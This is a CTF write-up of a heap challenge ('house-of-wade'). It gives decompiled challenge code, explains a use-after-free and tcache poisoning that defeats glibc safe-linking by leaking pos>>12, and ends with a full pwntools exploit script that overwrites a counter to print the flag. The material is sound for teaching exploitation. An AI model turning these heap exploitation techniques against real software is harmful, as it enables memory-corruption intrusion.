approvCTF - house-of-wade
approvCTF - house-of-wade
0x01 analyze
heap题.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __fastcall main(int argc, const char **argv, const char **envp)
{
char *v3; // rdi
char nptr[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-8h]
v6 = __readfsqword(0x28u);
setup(argc, argv, envp);
chimichanga_count = malloc(0x28u);
memset(chimichanga_count, 0, 0x28u);
puts("\nWelcome to Wade's Chimichanga Shop.");
puts("\"There's a very special counter somewhere in here.\"");
v3 = "\"No I won't tell you where. Figure it out.\"\n";
puts("\"No I won't tell you where. Figure it out.\"\n");
while ( 1 )
{
menu(v3);
read_n(nptr, 3);
v3 = nptr;
switch ( atoi(nptr) )
{
case 1:
new_order(nptr);
break;
case 2:
cancel_order(nptr);
break;
case 3:
inspect_order(nptr);
break;
case 4:
modify_order(nptr);
break;
case 5:
did_i_pass(nptr);
break;
case 6:
puts("\"Disappointing.\"");
return 0;
default:
v3 = "\"Not on the menu.\"";
puts("\"Not on the menu.\"");
break;
}
}
}
支持分配/读/写/删除,以及提供一个后门函数,只要能做到任意位置读写,修改chimichanga_count指向的值即可. 而且删除部分存在UAF, free指针后,并没有将ptr array的槽位清空.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
int new_order()
{
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 5; ++i )
{
if ( !*((_QWORD *)&orders + i) )
{
*((_QWORD *)&orders + i) = malloc(0x28u);
memset(*((void **)&orders + i), 0, 0x28u);
return printf("\"Order %d is up. Fresh off the heap. That's all you get.\"\n", i);
}
}
return puts("\"Kitchen's full.\"");
}
int cancel_order()
{
int result; // eax
result = get_idx();
if ( result >= 0 )
{
if ( *((_QWORD *)&orders + result) )
{
free(*((void **)&orders + result)); // didn't delete ptr (UAF)
return puts("\"Gone. The pointer remains, like a bad memory.\"");
}
else
{
return puts("\"Nothing there.\"");
}
}
return result;
}
int inspect_order()
{
int result; // eax
int v1; // [rsp+Ch] [rbp-4h]
result = get_idx();
v1 = result;
if ( result >= 0 )
{
if ( *((_QWORD *)&orders + result) )
{
puts("\"Wade sniffs the chimichanga. Something's... off.\"");
write(1, *((const void **)&orders + v1), 0x28u);
return puts(&byte_40219B);
}
else
{
return puts("\"Nothing there.\"");
}
}
return result;
}
int modify_order()
{
int result; // eax
int v1; // [rsp+Ch] [rbp-4h]
result = get_idx();
v1 = result;
if ( result >= 0 )
{
if ( orders[result] )
{
printf("\"New filling: \"");
read_n(orders[v1], 0x28u);
return puts("\"Undetectable. Probably.\"");
}
else
{
return puts("\"Nothing there.\"");
}
}
return result;
}
unsigned __int64 did_i_pass()
{
int fd; // [rsp+4h] [rbp-9Ch]
ssize_t n; // [rsp+8h] [rbp-98h]
_BYTE buf[136]; // [rsp+10h] [rbp-90h] BYREF
unsigned __int64 v4; // [rsp+98h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( chimichanga_count && *(_DWORD *)chimichanga_count == '\xCA\xFE\xBA\xBE' )
{
puts("\nWade slow-claps from across the room.");
puts("\"...Okay. I'll admit it. That was impressive.\"\n");
fd = open("/flag.txt", 0);
if ( fd >= 0 )
{
while ( 1 )
{
n = read(fd, buf, 0x80u);
if ( n <= 0 )
break;
write(1, buf, n);
}
write(1, "\n", 1u);
close(fd);
}
else
{
puts("Couldn't open the secret recipe.");
}
}
else
{
puts("\"Wrong number, Francis. Walk it off.\"");
}
return v4 - __readfsqword(0x28u);
}
0x02 tcache poisoning
checksec发现没有PIE, 直接可以确定目标地址. 而且有UAF, 非常省心。 但是这一题用的libc中,tcache指针已经引入了加密保护(ptr -> ptr ^ (pos » 12)). 这么设计的原因是:存在ALSR时,heap地址(16进制)的低3位数字不受影响,右移后可以防止信息泄露。
第一步就是泄露heap地址,或者直接泄露(pos>>12). 在古早的tcache版本中,当tcache中只有一个元素时,其fd值为NULL; 而加入ptr加密后,这个值会变成NULL ^ (pos >> 12),也就是说,可以在tcache中只有一个元素的时候,利用UAF读取其fd指针,从而轻易地泄露(pos>>12).
初步尝试的时候,我只在tcache里放了一个chunk,然后修改其fd, 然后malloc两次,期望能够在第一次分配后,利用修改的指针污染对应的tcache bin。但是在第二次分配的时候,发现并没有按照预期分配往目标地址,而是又从heap中分配。
后来了解到,tcache判断是否有bin是通过count字段来判断的,并不是仅仅通过指针! 当只有一个chunk的时候,经过malloc后取出,导致count变成0,那么接下来就会直接从heap上分配,而不会检查被污染的指针。所以,需要在tcahce相应的bin中至少放入两个chunk,然后污染第一个,经过两次malloc才能实现任意位置读写.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python3
from pwn import *
exe = context.binary = ELF('./chall', checksec=False)
libc = ELF('./lib/libc.so.6', checksec=False)
ld = ELF('./lib/ld-linux-x86-64.so.2', checksec=False)
context.terminal = ['tmux', 'splitw', '-h']
HOST = args.HOST or '127.0.0.1'
PORT = int(args.PORT or 1337)
gdbscript = '''
init-gef
set pagination off
b new_order
# b *0x40156E
b cancel_order
b modify_order
b inspect_order
continue
# python
# for i in range(4):
# gdb.execute("c")
# end
'''
def start():
if args.REMOTE:
return remote(HOST, PORT)
if args.GDB:
p = process('./chall')
gdb.attach(p, gdbscript=gdbscript)
# return gdb.debug([ld.path, exe.path], env={'LD_PRELOAD': libc.path}, gdbscript=gdbscript)
return p
return process([ld.path, exe.path], env={'LD_PRELOAD': libc.path})
def send_choice(io, n: int):
io.sendlineafter(b'> ', str(n).encode())
def new_order(io):
send_choice(io, 1)
def cancel_order(io, idx: int):
send_choice(io, 2)
io.sendlineafter(b'Slot: ', str(idx).encode())
def inspect_order(io, idx: int, num: int) -> bytes:
send_choice(io, 3)
io.sendlineafter(b'Slot: ', str(idx).encode())
io.recvuntil(b'"Wade sniffs the chimichanga. Something\'s... off."\n', drop=False)
leak = io.recv(num)
io.recvline()
return leak
def modify_order(io, idx: int, data: bytes):
if len(data) > 0x28:
raise ValueError('data too long (max 0x28)')
send_choice(io, 4)
io.sendlineafter(b'Slot: ', str(idx).encode())
io.sendlineafter(b'"New filling: "', data)
def did_i_pass(io):
send_choice(io, 5)
def interact(io):
log.info('Switching to interactive mode')
io.interactive()
def main():
io = start()
new_order(io)
cancel_order(io, 0)
x = inspect_order(io, 0, 6)
x = u64(x + (8 - len(x)) * b'\x00')
leak_pos = x
print(f'leak (pos>>12): {hex(leak_pos)}')
target_addr = (leak_pos << 12 ) ^ 0x2a0
print(f'target addr:{hex(target_addr)}')
new_order(io)
new_order(io)
cancel_order(io, 1)
cancel_order(io, 2)
poision_addr = leak_pos ^ target_addr
modify_order(io, 2, p64(poision_addr))
new_order(io)
new_order(io)
x = inspect_order(io, 4, 6)
modify_order(io, 4, p64(0xCAFEBABE))
did_i_pass(io)
interact(io)
if __name__ == '__main__':
main()
This post is licensed under CC BY 4.0 by the author.